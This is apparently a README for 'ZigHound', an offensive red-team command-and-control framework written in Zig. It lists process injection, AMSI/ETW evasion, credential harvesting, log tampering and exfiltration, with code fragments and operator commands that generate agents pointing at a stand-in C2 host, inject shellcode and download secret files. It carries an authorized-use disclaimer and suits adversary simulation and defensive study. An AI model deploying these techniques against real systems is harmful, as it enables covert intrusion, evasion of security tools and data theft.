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ZigHound

ACTIVE

Advanced red team framework in Zig. Stealth reconnaissance, C2 with XChaCha20-Poly1305 encryption, interactive shell, persistence. Post-exploitation PrivEsc audit, process injection, exfiltration.

Tech Stack

Zig Red Team C2 Exploitation Reconnaissance Malware Development Stealth

Executive Summary

ZigHound pushes the boundaries of red team tooling by leveraging Zigโ€™s unique capabilities: compile-time code execution, cross-compilation simplicity, and C interoperability without the baggage. This framework provides operators with a lightweight, stealthy, and highly customizable platform for authorized penetration testing and adversary simulation.

Technical Architecture

Why Zig?

1. Compile-Time Code Generation

// Configuration baked into binary at compile time
const config = comptime blk: {
    var cfg = defaultConfig();
    cfg.c2_domain = obfuscateString("c2.example.com");
    cfg.beacon_interval = 300;
    break :blk cfg;
};

2. Zero Dependencies

  • No runtime linking
  • Single static binary
  • Minimal footprint (<500KB)
  • Reduced detection surface

3. Cross-Compilation

# Build for any target from any host
zig build -Dtarget=x86_64-windows-gnu
zig build -Dtarget=aarch64-linux-musl
zig build -Dtarget=x86_64-macos-none

Core Modules

1. C2 (Command & Control)

  • Protocols: HTTPS, DNS tunneling, ICMP covert channel
  • Encryption: AES-256-GCM with rotating keys
  • Jitter: Randomized beacon intervals (ยฑ30%)
  • Failover: Multiple C2 endpoints with priority

2. Agent

  • Injection: Process hollowing, APC injection, thread hijacking
  • Evasion: AMSI bypass, ETW patching, unhooking
  • Persistence: Registry run keys, scheduled tasks, WMI events
  • Discovery: System enumeration, network scanning, credential harvesting

3. Post-Exploitation

  • Privilege Escalation: Token impersonation, UAC bypass, kernel exploits
  • Lateral Movement: Pass-the-hash, Kerberoasting, DCOM/RPC
  • Data Exfiltration: Compressed, encrypted, chunked transfer
  • Cleanup: Artifact removal, log tampering, anti-forensics

Key Features

๐ŸŽฏ Stealth Capabilities

1. Syscall Direct Invocation

// Bypass user-mode hooks
const NtAllocateVirtualMemory = @ptrCast(
    *const fn (ProcessHandle: HANDLE, ...) callconv(.Stdcall) NTSTATUS,
    resolveSyscall("NtAllocateVirtualMemory")
);

2. String Obfuscation

  • XOR encryption at compile time
  • Stack allocation (no .data section)
  • Dynamic decryption on use

3. Anti-Analysis

  • Debugger detection (PEB.BeingDebugged, NtGlobalFlag)
  • VM/sandbox detection (CPUID, timing checks)
  • Process enumeration (blacklisted tools)

๐Ÿ“ก Communication Security

Protocol Stack

Application: Custom binary protocol
Encryption: AES-256-GCM + ECDH key exchange
Transport: HTTPS / DNS / ICMP
Obfuscation: Domain fronting, CDN routing

Beacon Profile

{
  "interval": 300,
  "jitter": 0.3,
  "user_agent": "Mozilla/5.0...",
  "headers": {
    "X-Custom-Header": "legitimate-looking-value"
  }
}

Installation

# Prerequisites
# - Zig 0.11+ 
# - Git

# Clone repository
git clone https://github.com/ind4skylivey/ZigHound.git
cd ZigHound

# Build all components
zig build -Drelease-safe

# Build specific target
zig build -Dtarget=x86_64-windows-gnu -Drelease-small

# Output binaries
# - zig-out/bin/agent
# - zig-out/bin/c2-server
# - zig-out/bin/operator-cli

Usage

1. Start C2 Server

./c2-server --config c2-config.toml

2. Generate Agent

./operator-cli generate \
  --c2 https://c2.example.com \
  --format exe \
  --output agent.exe

3. Deploy Agent

# Standard execution
./agent.exe

# In-memory execution (no disk artifact)
./operator-cli inject --pid 1234 --payload shellcode.bin

4. Operator CLI

# List active sessions
./operator-cli sessions

# Interact with session
./operator-cli interact --session 1

# Execute command
>>> shell whoami
>>> upload file.txt C:\\Windows\\Temp\\
>>> download C:\\secrets.txt .
>>> migrate --pid 5678

Configuration

# c2-config.toml
[server]
bind_address = "0.0.0.0:443"
certificate = "/path/to/cert.pem"
private_key = "/path/to/key.pem"

[beacon]
interval = 300
jitter = 0.3
max_retries = 5

[obfuscation]
enabled = true
technique = "domain_fronting"
front_domain = "cdn.cloudfront.net"

[logging]
level = "info"
file = "/var/log/zighound/c2.log"

OPSEC Considerations

Detection Evasion

  • Signature Evasion: Polymorphic code generation
  • Behavioral Evasion: Living-off-the-land techniques
  • Network Evasion: Protocol mimicry, legitimate domains

โš ๏ธ WARNING: This tool is for authorized security testing only.

  • Always have written authorization
  • Respect scope boundaries
  • Follow responsible disclosure
  • Comply with local laws

Roadmap

  • v1.0: Stable C2 protocol
  • v1.5: macOS and Linux agents
  • v2.0: mTLS authentication
  • v2.5: Blockchain-based C2
  • v3.0: AI-powered evasion

Research and Development

This project contributes to:

  • Adversary simulation methodologies
  • EDR/AV evasion techniques
  • Secure C2 protocol design
  • Memory-safe offensive tooling

License

GPL-3.0 - For research and authorized testing only

โš ๏ธ Disclaimer: Use only on systems you own or have explicit permission to test.

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